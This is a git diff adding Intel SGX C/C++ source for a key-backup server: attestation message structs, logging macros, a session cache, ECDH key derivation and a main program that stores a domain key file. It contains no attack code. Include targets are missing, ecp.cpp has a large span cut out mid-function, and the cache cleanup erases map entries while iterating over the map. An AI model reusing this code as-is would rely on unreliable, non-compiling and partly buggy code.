"2.15.101.1" +#define SGX_MAJOR_VERSION 2 +#define SGX_MINOR_VERSION 15 +#define SGX_REVISION_VERSION 101 +#define MAKE_VERSION_UINT(major,minor,rev) (((uint64_t)major)<<32 | ((uint64_t)minor) << 16 | rev) +#define VERSION_UINT MAKE_VERSION_UINT(SGX_MAJOR_VERSION, SGX_MINOR_VERSION, SGX_REVISION_VERSION) + +#define COPYRIGHT "Copyright (C) 2021 Intel Corporation" + +#define UAE_SERVICE_VERSION "2.3.213.1" +#define URTS_VERSION "1.1.117.1" +#define ENCLAVE_COMMON_VERSION "1.1.120.1" +#define LAUNCH_VERSION "1.0.115.1" +#define EPID_VERSION "1.0.115.1" +#define QUOTE_EX_VERSION "1.1.115.1" + +#endif diff --git a/cczoo/machine_binding_key_backup/include/key_exchange/sgx_key_exchange.h b/cczoo/machine_binding_key_backup/include/key_exchange/sgx_key_exchange.h new file mode 100644 index 00000000..58fce94d --- /dev/null +++ b/cczoo/machine_binding_key_backup/include/key_exchange/sgx_key_exchange.h @@ -0,0 +1,76 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#ifndef _SGX_KEY_EXCHANGE_H_ +#define _SGX_KEY_EXCHANGE_H_ + +#include +#include "sgx_quote.h" +#include "sgx_ecp_types.h" + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct _ps_sec_prop_desc +{ + uint8_t sgx_ps_sec_prop_desc[256]; +} sgx_ps_sec_prop_desc_t; + +typedef uint32_t sgx_ra_context_t; + +typedef sgx_key_128bit_t sgx_ra_key_128_t; + +typedef enum _ra_key_type_t +{ + SGX_RA_KEY_SK = 1, + SGX_RA_KEY_MK, +} sgx_ra_key_type_t; + +typedef struct _ra_msg1_t +{ + sgx_ec256_public_t g_a; /* the Endian-ness of Ga is Little-Endian */ + sgx_epid_group_id_t gid; /* the Endian-ness of GID is Little-Endian */ +} sgx_ra_msg1_t; + + +typedef struct _ra_msg2_t +{ + sgx_ec256_public_t g_b; /* the Endian-ness of Gb is Little-Endian */ + sgx_spid_t spid; + uint16_t quote_type; /* unlinkable Quote(0) or linkable Quote(1) in little endian*/ + uint16_t kdf_id; /* key derivation function id in little endian. */ + sgx_ec256_signature_t sign_gb_ga; /* In little endian */ + sgx_mac_t mac; /* mac_smk(g_b||spid||quote_type||kdf_id||sign_gb_ga) */ + uint32_t sig_rl_size; + uint8_t sig_rl[]; +} sgx_ra_msg2_t; + +typedef struct _ra_msg3_t +{ + sgx_mac_t mac; /* mac_smk(g_a||ps_sec_prop||quote) */ + sgx_ec256_public_t g_a; /* the Endian-ness of Ga is Little-Endian */ + sgx_ps_sec_prop_desc_t ps_sec_prop; /* reserved Must be 0 */ + uint8_t quote[]; +} sgx_ra_msg3_t; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/cczoo/machine_binding_key_backup/include/key_exchange/uncopyable.h b/cczoo/machine_binding_key_backup/include/key_exchange/uncopyable.h new file mode 100644 index 00000000..28c50b12 --- /dev/null +++ b/cczoo/machine_binding_key_backup/include/key_exchange/uncopyable.h @@ -0,0 +1,34 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#ifndef _UNCOPYABLE_H_ +#define _UNCOPYABLE_H_ + +/* Similiar to boost::noncopyable */ +class Uncopyable { +protected: + Uncopyable() {} + ~Uncopyable() {} + +private: + /* Disable copying */ + Uncopyable(const Uncopyable&); + Uncopyable& operator=(const Uncopyable&); +}; + +#endif diff --git a/cczoo/machine_binding_key_backup/include/key_exchange/util.h b/cczoo/machine_binding_key_backup/include/key_exchange/util.h new file mode 100644 index 00000000..d170e87d --- /dev/null +++ b/cczoo/machine_binding_key_backup/include/key_exchange/util.h @@ -0,0 +1,71 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#ifndef _UTIL_H_ +#define _UTIL_H_ + +#include "arch.h" +#include + +#ifdef __cplusplus +#define GET_PTR(t, p, offset) reinterpret_cast( reinterpret_cast(p) + static_cast(offset) ) +#define PTR_DIFF(p1, p2) ((reinterpret_cast(p1) - reinterpret_cast(p2))) +#else +#define GET_PTR(t, p, offset) (t*)( (size_t)(p) + (size_t)(offset) ) +#define PTR_DIFF(p1, p2) ((size_t)(p1) - (size_t)(p2)) +#endif + +#define DIFF(p1, p2) (assert((size_t)(p1) >= (size_t)(p2)), ((size_t)(p1) - (size_t)(p2))) +#define DIFF64(p1, p2) (assert((uint64_t)(p1) >= (uint64_t)(p2)), ((uint64_t)(p1) - (uint64_t)(p2))) + +#define SE_PAGE_SHIFT 12 +#define SE_BULK_PAGE_FRAME_SHIFT 4 +#define SE_BULK_PAGE_FRAME_SIZE (1 << SE_BULK_PAGE_FRAME_SHIFT) +#define SE_BULK_PAGE_FRAME_MASK (SE_BULK_PAGE_FRAME_SIZE-1) +#define SE_BULK_PAGE_SHIFT (SE_PAGE_SHIFT + SE_BULK_PAGE_FRAME_SHIFT) +#define SE_BULK_PAGE_SIZE (1 << SE_BULK_PAGE_SHIFT) +#define SE_GUARD_PAGE_SHIFT 16 +#define SE_GUARD_PAGE_SIZE (1 << SE_GUARD_PAGE_SHIFT) + +#define ROUND_TO(x, align) (((x) + ((align)-1)) & ~((align)-1)) +#define ROUND_TO_PAGE(x) ROUND_TO(x, SE_PAGE_SIZE) +#define TRIM_TO_PAGE(x) ((x) & ~(SE_PAGE_SIZE-1)) +#define PAGE_OFFSET(x) ((x) & (SE_PAGE_SIZE -1)) +#ifdef __cplusplus +#define PAGE_ALIGN(t, x) reinterpret_cast((reinterpret_cast(x)+(SE_PAGE_SIZE-1)) & (~(SE_PAGE_SIZE-1))) +#else +#define PAGE_ALIGN(t, x) (t*)( ((size_t)(x)+(SE_PAGE_SIZE-1)) & (~(SE_PAGE_SIZE-1)) ) +#endif + +#define IS_PAGE_ALIGNED(x) (!((size_t)(x)&(SE_PAGE_SIZE-1))) + +#define MIN(x, y) (((x)>(y))?(y):(x)) +#define MAX(x, y) (((x)>(y))?(x):(y)) +#define ARRAY_LENGTH(x) (sizeof(x)/sizeof(x[0])) + +/* used to eliminate `unused variable' warning */ +#define UNUSED(val) (void)(val) + +#include +#define container_of(ptr, type, member) (type *)( (char *)(ptr) - offsetof(type,member) ) + +#ifndef weak_alias +#define weak_alias(_old, _new) __typeof(_old) _new __attribute__((weak, alias(#_old))) +#endif + +#endif diff --git a/cczoo/machine_binding_key_backup/include/log_utils.h b/cczoo/machine_binding_key_backup/include/log_utils.h new file mode 100644 index 00000000..c58163c9 --- /dev/null +++ b/cczoo/machine_binding_key_backup/include/log_utils.h @@ -0,0 +1,67 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#ifndef _LOG_UTILS_H +#define _LOG_UTILS_H + +#include +#include + +#define IS_DEBUG false + +/* + print info +*/ +#define log_i(format, args...) \ + { \ + printf("INFO [%s(%d) -> %s]: ", __FILE__, __LINE__, __FUNCTION__); \ + printf(format, ##args); \ + printf("\n"); \ + } +/* + print debug +*/ +#define log_d(format, args...) \ + { \ + if (IS_DEBUG) \ + { \ + printf("DEBUG [%s(%d) -> %s]: ", __FILE__, __LINE__, __FUNCTION__); \ + printf(format, ##args); \ + printf("\n"); \ + } \ + } +/* + print warn +*/ +#define log_w(format, args...) \ + { \ + printf("WARN [%s(%d) -> %s]: ", __FILE__, __LINE__, __FUNCTION__); \ + printf(format, ##args); \ + printf("\n"); \ + } +/* + print error +*/ +#define log_e(format, args...) \ + { \ + printf("ERROR [%s(%d) -> %s]: ", __FILE__, __LINE__, __FUNCTION__); \ + printf(format, ##args); \ + printf("\n"); \ + } + +#endif \ No newline at end of file diff --git a/cczoo/machine_binding_key_backup/rkeyserver/App/CacheController.cpp b/cczoo/machine_binding_key_backup/rkeyserver/App/CacheController.cpp new file mode 100644 index 00000000..fcb62c60 --- /dev/null +++ b/cczoo/machine_binding_key_backup/rkeyserver/App/CacheController.cpp @@ -0,0 +1,175 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#include "CacheController.h" + +#include +#include +#include +#include + +#include "error.h" +#include "rand.h" +#include "log_utils.h" +#include "socket_server.h" + + +static std::map g_session_db_map; + +pthread_t pthread_clean_expired; + +void *thread_clean_expired_sessionDB(void *unused) { + log_d("thread_clean_expired_sessionDB start"); + while (true) { + sleep(CACHE_DEAMON_SLEEP_TIME);// 5 minutes + // get current time + struct timeval tv; + gettimeofday(&tv, NULL); + long current_time = tv.tv_sec; + std::map::reverse_iterator iter; + for (iter = g_session_db_map.rbegin(); iter != g_session_db_map.rend(); iter++) { + if (iter->second->expired_time < current_time) { + std::string sessionId = iter->first; + db_finalize((uint8_t *) sessionId.c_str()); + } + if (g_session_db_map.size() == 0) { + // After executing db_finalize, if g_session_db_map's size is 0, [iter++] will make an error, So we need to quit voluntarily. + break; + } + } + } + log_d("thread_clean_expired_sessionDB end"); +} + +/** + * create a new sessionId and initialize a sp_db for this sessionId.Then return the sessonId + * @return session_id + */ +int32_t db_initialize(sesion_id_t session_id) { + log_d("start db_initialize."); + uint32_t ret = NO_ERROR; + + if (session_id == NULL) { + return SP_INTEGRITY_FAILED; + } + + // generate sessionId + std::string psw_chars = "0123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz"; + uint8_t temp[SESSION_ID_SIZE]; + get_drng_support();// initialize for get_random + if (0 != get_random(temp, SESSION_ID_SIZE)) { + log_e("failed to get random."); + return SP_INTERNAL_ERROR; + } + for (int i = 0; i < SESSION_ID_SIZE; i++) { + session_id[i] = psw_chars[temp[i] % psw_chars.length()]; + } + + // create a new sp_db_item_t for the sessionId + sp_db_item_t *p_sp_db; + p_sp_db = (sp_db_item_t *) malloc(sizeof(sp_db_item_t)); + if (p_sp_db == NULL) { + log_e("sp_db malloc exception."); + return SP_INTERNAL_ERROR; + } + memcpy_s(p_sp_db->session_id, SESSION_ID_SIZE, session_id, SESSION_ID_SIZE); + struct timeval tv; + gettimeofday(&tv, NULL); + p_sp_db->expired_time = tv.tv_sec + CACHE_SP_DB_EXPIRED_TIME;// The expiration time is 5 minutes after creation. + log_d("create p_sp_db success."); + + // insert session_id->p_sp_db to Map + std::string key((char *) session_id, SESSION_ID_SIZE); + if (g_session_db_map.size() < CACHE_MAX_SESSION_NUM) { + g_session_db_map.insert(std::make_pair(key, p_sp_db)); + log_d("insert session_id->p_sp_db to Map success."); + } else { + log_e("DB maximum capacity reached.The max session is 16, current[%ld]", g_session_db_map.size()); + return SP_INTERNAL_ERROR; + } + + // start a thread_clean_expired_sessionDB + if (pthread_clean_expired == NULL) { + pthread_create(&pthread_clean_expired, NULL, thread_clean_expired_sessionDB, NULL); + } + + log_d("end db_initialize."); + return ret; +} + +/** + * Destroy sp_db of sessionId and remove the sessionId from cache. + * @param session_id + * @return + */ +int32_t db_finalize(const sesion_id_t session_id) { + log_d("start db_finalize. sessionId: %s", session_id); + uint32_t ret = NO_ERROR; + if (!session_id) { + return SP_INTEGRITY_FAILED; + } + + std::string key((char *) session_id, SESSION_ID_SIZE); + std::map::iterator iter; + iter = g_session_db_map.find(key); + if (iter != g_session_db_map.end()) { + // find spdb + sp_db_item_t *p_sp_db; + p_sp_db = iter->second; + + // set pp_sp_db to zero + explicit_bzero(p_sp_db, sizeof(sp_db_item_t)); + SAFE_FREE(p_sp_db); + + // remove the session db from g_session_db_map + g_session_db_map.erase(key); + log_d("finalize sp_db success! current size[%ld].", g_session_db_map.size()); + } else { + log_d("find sp_db failed!"); + } + + log_d("end db_finalize."); + return ret; +} + + +/** + * get a sp_db by sessionId. + * @param session_id + * @return p_sp_db + */ +int32_t get_session_db(const sesion_id_t session_id, sp_db_item_t **pp_sp_db) { + log_d("start get_session_db."); + uint32_t ret = NO_ERROR; + if (!session_id || !pp_sp_db) { + return SP_INTEGRITY_FAILED; + } + std::string key((char *) session_id, SESSION_ID_SIZE); + log_d("key is [%s]", key.c_str()); + std::map::iterator iter; + iter = g_session_db_map.find(key); + if (iter != g_session_db_map.end()) { + *pp_sp_db = iter->second; + log_d("find sp_db success!"); + } else { + *pp_sp_db = NULL; + log_d("find sp_db failed!"); + } + log_d("end get_session_db."); + return ret; +} diff --git a/cczoo/machine_binding_key_backup/rkeyserver/App/CacheController.h b/cczoo/machine_binding_key_backup/rkeyserver/App/CacheController.h new file mode 100644 index 00000000..ffb5210e --- /dev/null +++ b/cczoo/machine_binding_key_backup/rkeyserver/App/CacheController.h @@ -0,0 +1,50 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#ifndef CACHECONTROLLER_H +#define CACHECONTROLLER_H + +#include "sample_ra_msg.h" + +#define CACHE_MAX_SESSION_NUM 16 // max sessionId number of cache +#define CACHE_DEAMON_SLEEP_TIME 60 * 5 // 5 minutes +#define CACHE_SP_DB_EXPIRED_TIME 60 * 5 // 5 minutes + +/** + * create a new sessionId and initialize a sp_db for this sessionId.Then return the sessonId + * @param session_id_size + * @return session_id + */ +int32_t db_initialize(sesion_id_t session_id); + +/** + * Destroy sp_db of sessionId and remove the sessionId from cache. + * @param session_id + * @return + */ +int32_t db_finalize(const sesion_id_t session_id); + + +/** + * get a sp_db by sessionId. + * @param session_id + * @return p_sp_db + */ +int32_t get_session_db(const sesion_id_t session_id, sp_db_item_t **p_sp_db); + +#endif //CACHECONTROLLER_H diff --git a/cczoo/machine_binding_key_backup/rkeyserver/App/ecp.cpp b/cczoo/machine_binding_key_backup/rkeyserver/App/ecp.cpp new file mode 100644 index 00000000..3761a47b --- /dev/null +++ b/cczoo/machine_binding_key_backup/rkeyserver/App/ecp.cpp @@ -0,0 +1,242 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#include +#include +#include "ecp.h" + +#include "sample_libcrypto.h" + + +#define MAC_KEY_SIZE 16 + +errno_t memcpy_s( + void *dest, + size_t numberOfElements, + const void *src, + size_t count) +{ + if(numberOfElementss[sizeof(p_shared_key->s) - 1 - i]; + } + + sample_ret = sample_sha256_init(&sha_context); + if (sample_ret != SAMPLE_SUCCESS) + { + return false; + } + sample_ret = sample_sha256_update((uint8_t*)&hash_buffer, sizeof(hash_buffer_t), sha_context); + if (sample_ret != SAMPLE_SUCCESS) + { + sample_sha256_close(sha_context); + return false; + } + sample_ret = sample_sha256_update((uint8_t*)ID_U, sizeof(ID_U), sha_context); + if (sample_ret != SAMPLE_SUCCESS) + { + sample_sha256_close(sha_context); + return false; + } + sample_ret = sample_sha256_update((uint8_t*)ID_V, sizeof(ID_V), sha_context); + if (sample_ret != SAMPLE_SUCCESS) + { + sample_sha256_close(sha_context); + return false; + } + sample_ret = sample_sha256_get_hash(sha_context, &key_material); + if (sample_ret != SAMPLE_SUCCESS) + { + sample_sha256_close(sha_context); + return false; + } + sample_ret = sample_sha256_close(sha_context); + + static_assert(sizeof(sample_ec_key_128bit_t)* 2 == sizeof(sample_sha256_hash_t), "structure size mismatch."); + memcpy_s(first_derived_key, sizeof(sample_ec_key_128bit_t), &key_material, sizeof(sample_ec_key_128bit_t)); + memcpy_s(second_derived_key, sizeof(sample_ec_key_128bit_t), (uint8_t*)&key_material + sizeof(sample_ec_key_128bit_t), sizeof(sample_ec_key_128bit_t)); + + // memset here can be optimized away by compiler, so please use memset_s on + // windows for production code and similar functions on other OSes. + memset(&key_material, 0, sizeof(sample_sha256_hash_t)); + + return true; +} + +#else + +#pragma message ("Default key derivation function is used.") + +#define EC_DERIVATION_BUFFER_SIZE(label_length) ((label_length) +4) + +const char str_SMK[] = "SMK"; +const char str_SK[] = "SK"; +const char str_MK[] = "MK"; +const char str_VK[] = "VK"; + +// Derive key from shared key and key id. +// key id should be sample_derive_key_type_t. +bool derive_key( + const sample_ec_dh_shared_t *p_shared_key, + uint8_t key_id, + sample_ec_key_128bit_t* derived_key) +{ + sample_status_t sample_ret = SAMPLE_SUCCESS; + uint8_t cmac_key[MAC_KEY_SIZE]; + sample_ec_key_128bit_t key_derive_key; + + memset(&cmac_key, 0, MAC_KEY_SIZE); + + sample_ret = sample_rijndael128_cmac_msg( + (const sample_cmac_128bit_key_t *)&cmac_key, + (const uint8_t*)p_shared_key, + sizeof(sample_ec_dh_shared_t), + (sample_cmac_128bit_tag_t *)&key_derive_key); + if (sample_ret != SAMPLE_SUCCESS) + { + // memset here can be optimized away by compiler, so please use memset_s on + // windows for production code and similar functions on other OSes. + memset(&key_derive_key, 0, sizeof(key_derive_key)); + return false; + } + + const char *label = NULL; + uint32_t label_length = 0; + switch (key_id) + { + case SAMPLE_DERIVE_KEY_SMK: + label = str_SMK; + label_length = sizeof(str_SMK) -1; + break; + case SAMPLE_DERIVE_KEY_SK: + label = str_SK; + label_length = sizeof(str_SK) -1; + break; + case SAMPLE_DERIVE_KEY_MK: + label = str_MK; + label_length = sizeof(str_MK) -1; + break; + case SAMPLE_DERIVE_KEY_VK: + label = str_VK; + label_length = sizeof(str_VK) -1; + break; + default: + // memset here can be optimized away by compiler, so please use memset_s on + // windows for production code and similar functions on other OSes. + memset(&key_derive_key, 0, sizeof(key_derive_key)); + return false; + break; + } + /* derivation_buffer = counter(0x01) || label || 0x00 || output_key_len(0x0080) */ + uint32_t derivation_buffer_length = EC_DERIVATION_BUFFER_SIZE(label_length); + uint8_t *p_derivation_buffer = (uint8_t *)malloc(derivation_buffer_length); + if (p_derivation_buffer == NULL) + { + // memset here can be optimized away by compiler, so please use memset_s on + // windows for production code and similar functions on other OSes. + memset(&key_derive_key, 0, sizeof(key_derive_key)); + return false; + } + memset(p_derivation_buffer, 0, derivation_buffer_length); + + /*counter = 0x01 */ + p_derivation_buffer[0] = 0x01; + /*label*/ + memcpy_s(&p_derivation_buffer[1], derivation_buffer_length - 1, label, label_length); + /*output_key_len=0x0080*/ + uint16_t *key_len = (uint16_t *)(&(p_derivation_buffer[derivation_buffer_length - 2])); + *key_len = 0x0080; + + + sample_ret = sample_rijndael128_cmac_msg( + (sample_cmac_128bit_key_t *)&key_derive_key, + p_derivation_buffer, + derivation_buffer_length, + (sample_cmac_128bit_tag_t *)derived_key); + free(p_derivation_buffer); + // memset here can be optimized away by compiler, so please use memset_s on + // windows for production code and similar functions on other OSes. + memset(&key_derive_key, 0, sizeof(key_derive_key)); + if (sample_ret != SAMPLE_SUCCESS) + { + return false; + } + return true; +} +#endif diff --git a/cczoo/machine_binding_key_backup/rkeyserver/App/ecp.h b/cczoo/machine_binding_key_backup/rkeyserver/App/ecp.h new file mode 100644 index 00000000..f3b0b19c --- /dev/null +++ b/cczoo/machine_binding_key_backup/rkeyserver/App/ecp.h @@ -0,0 +1,102 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#ifndef _ECP_H +#define _ECP_H + +#include +#include + +#ifndef SAMPLE_FEBITSIZE + #define SAMPLE_FEBITSIZE 256 +#endif + +#define SAMPLE_ECP_KEY_SIZE (SAMPLE_FEBITSIZE/8) + +typedef struct sample_ec_priv_t +{ + uint8_t r[SAMPLE_ECP_KEY_SIZE]; +} sample_ec_priv_t; + +typedef struct sample_ec_dh_shared_t +{ + uint8_t s[SAMPLE_ECP_KEY_SIZE]; +}sample_ec_dh_shared_t; + +typedef uint8_t sample_ec_key_128bit_t[16]; + +#define SAMPLE_EC_MAC_SIZE 16 + +#ifdef __cplusplus +extern "C" { +#endif + + +#ifndef _ERRNO_T_DEFINED +#define _ERRNO_T_DEFINED +typedef int errno_t; +#endif + +#ifndef MEMCPY_S +#define MEMCPY_S +errno_t memcpy_s(void *dest, size_t numberOfElements, const void *src, + size_t count); +#endif + +#ifdef SUPPLIED_KEY_DERIVATION + +typedef enum _sample_derive_key_type_t +{ + SAMPLE_DERIVE_KEY_SMK_SK = 0, + SAMPLE_DERIVE_KEY_MK_VK, +} sample_derive_key_type_t; + +bool derive_key( + const sample_ec_dh_shared_t *p_shared_key, + uint8_t key_id, + sample_ec_key_128bit_t *first_derived_key, + sample_ec_key_128bit_t *second_derived_key); + +#else + +typedef enum _sample_derive_key_type_t +{ + SAMPLE_DERIVE_KEY_SMK = 0, + SAMPLE_DERIVE_KEY_SK, + SAMPLE_DERIVE_KEY_MK, + SAMPLE_DERIVE_KEY_VK, +} sample_derive_key_type_t; + +bool derive_key( + const sample_ec_dh_shared_t *p_shared_key, + uint8_t key_id, + sample_ec_key_128bit_t *derived_key); + +#endif + +bool verify_cmac128( + sample_ec_key_128bit_t mac_key, + const uint8_t *p_data_buf, + uint32_t buf_size, + const uint8_t *p_mac_buf); +#ifdef __cplusplus +} +#endif + +#endif + diff --git a/cczoo/machine_binding_key_backup/rkeyserver/App/error.h b/cczoo/machine_binding_key_backup/rkeyserver/App/error.h new file mode 100644 index 00000000..4d7342b9 --- /dev/null +++ b/cczoo/machine_binding_key_backup/rkeyserver/App/error.h @@ -0,0 +1,70 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#ifndef __ERR_H +#define __ERR_H + +#define NO_ERROR (0) +#define ERR_GENERIC (-1) +#define ERR_NOT_FOUND (-2) +#define ERR_NOT_READY (-3) +#define ERR_NO_MSG (-4) +#define ERR_NO_MEMORY (-5) +#define ERR_ALREADY_STARTED (-6) +#define ERR_NOT_VALID (-7) +#define ERR_INVALID_ARGS (-8) +#define ERR_NOT_ENOUGH_BUFFER (-9) +#define ERR_NOT_SUSPENDED (-10) +#define ERR_OBJECT_DESTROYED (-11) +#define ERR_NOT_BLOCKED (-12) +#define ERR_TIMED_OUT (-13) +#define ERR_ALREADY_EXISTS (-14) +#define ERR_CHANNEL_CLOSED (-15) +#define ERR_OFFLINE (-16) +#define ERR_NOT_ALLOWED (-17) +#define ERR_BAD_PATH (-18) +#define ERR_ALREADY_MOUNTED (-19) +#define ERR_IO (-20) +#define ERR_NOT_DIR (-21) +#define ERR_NOT_FILE (-22) +#define ERR_RECURSE_TOO_DEEP (-23) +#define ERR_NOT_SUPPORTED (-24) +#define ERR_TOO_BIG (-25) +#define ERR_CANCELLED (-26) +#define ERR_NOT_IMPLEMENTED (-27) +#define ERR_CHECKSUM_FAIL (-28) +#define ERR_CRC_FAIL (-29) +#define ERR_CMD_UNKNOWN (-30) +#define ERR_BAD_STATE (-31) +#define ERR_BAD_LEN (-32) +#define ERR_BUSY (-33) +#define ERR_THREAD_DETACHED (-34) +#define ERR_I2C_NACK (-35) +#define ERR_ALREADY_EXPIRED (-36) +#define ERR_OUT_OF_RANGE (-37) +#define ERR_NOT_CONFIGURED (-38) +#define ERR_NOT_MOUNTED (-39) +#define ERR_FAULT (-40) +#define ERR_NO_RESOURCES (-41) +#define ERR_BAD_HANDLE (-42) +#define ERR_ACCESS_DENIED (-43) +#define ERR_PARTIAL_WRITE (-44) + +#define ERR_USER_BASE (-16384) + +#endif diff --git a/cczoo/machine_binding_key_backup/rkeyserver/App/main.cpp b/cczoo/machine_binding_key_backup/rkeyserver/App/main.cpp new file mode 100644 index 00000000..ebae4e50 --- /dev/null +++ b/cczoo/machine_binding_key_backup/rkeyserver/App/main.cpp @@ -0,0 +1,178 @@ +#include +#include +#include "sgx_urts.h" + +#include +#include "auto_version.h" +#include "log_utils.h" +#include +#include +#include +#include +#include "ra_getkey.h" + +#define ENCLAVE_PATH "libenclave-rkeyserver.signed.so" +#define FILE_NAME "/etc/rkey.bin" + +extern sgx_enclave_id_t g_enclave_id; + +using namespace std; +using namespace socket_server; +using namespace ra_getkey; + +void ocall_print_string(const char *str) +{ + printf("%s", str); +} + +static inline bool file_exists(const std::string& name) { + struct stat buffer; + return (stat (name.c_str(), &buffer) == 0); +} + +int ocall_read_domain_key(uint8_t* cipher_dk, uint32_t cipher_dk_len) +{ + if (!file_exists(FILE_NAME)) { + printf("ocall_read_domain_key file does not exist.\n"); + return -2; + } + + fstream file; + file.open(FILE_NAME, ios::in|ios::binary); + if (!file){ + printf("Failed to open file...\n"); + return -1; + } + + file.seekg(0, std::ios::end); + size_t size = file.tellg(); + file.seekg(0); + if (size != cipher_dk_len) { + printf("mismatched length: %ld:%d.\n", size, cipher_dk_len); + return -1; + } + + uint8_t tmp[size] = {0}; + if (file.read((char*)&tmp, size)) { + memcpy(cipher_dk, tmp, cipher_dk_len); + } + else { + printf("Failed to read data from file...\n"); + return -1; + } + + file.close(); + + return 0; +} + +int ocall_store_domain_key(uint8_t* cipher_dk, uint32_t cipher_dk_len) +{ + uint8_t tmp[cipher_dk_len]; + memcpy(tmp, cipher_dk, cipher_dk_len); + + if (file_exists(FILE_NAME)) { + printf("file already exist, substitute by new file\n"); + } + + fstream file; + file.open(FILE_NAME, ios::out|ios::binary|ios::trunc); + if (!file) { + printf("Failed to create file...\n"); + return -1; + } + + file.write((char*)&tmp, cipher_dk_len); + file.close(); + + return 0; +} + +std::string deploy_ip_addr; +uint32_t deploy_port = 0; +static const char* _sopts = "i:p:h"; +static const struct option _lopts[] = {{"ip", required_argument, NULL, 'i'}, + {"port", required_argument, NULL, 'p'}, + {"help", no_argument, NULL, 'h'}, + {0, 0, 0, 0}}; + +static void show_usage_and_exit(int code) { + printf("\nusage: rkeyserver -i [ActiveServer ip] -p [port]\n\n"); + exit(code); +} + +void show_help(const char* name) +{ + cout<<"\nUsage: " << name << " [options]" << std::endl + << "Options:" << std::endl + << " -i the ActiveServer ip, use to obtain ActiveServer's domainkey \n" + << " -p the ActiveServer port, default is 8888 \n" + << " -h, --help print this help info \n\n" + << " If there are no options, start the rkeyserver service. \n" + << " The domainkey is saved in etc/rkey.bin. " + << "\n" + << std::endl; +} + +static void parse_args(int argc, char* argv[]) { + int opt; + int oidx = 0; + while ((opt = getopt_long(argc, argv, _sopts, _lopts, &oidx)) != -1) { + switch (opt) { + case 'i': + deploy_ip_addr = optarg; + break; + case 'p': + try { + deploy_port = std::stoi(optarg); + } + catch (...) { + log_e("port must be a number."); + } + break; + case 'h': + show_help(argv[0]); + exit(EXIT_FAILURE); + default: + log_e("unrecognized option (%c):\n", opt); + show_usage_and_exit(EXIT_FAILURE); + } + } + if (deploy_ip_addr.empty() || deploy_port == 0) { + printf("error: missing required argument(s)\n"); + show_usage_and_exit(EXIT_FAILURE); + } +} + +int main(int argc, char* argv[]) { + int ret = sgx_create_enclave(ENCLAVE_PATH, + SGX_DEBUG_FLAG, + NULL, NULL, + &g_enclave_id, NULL); + if 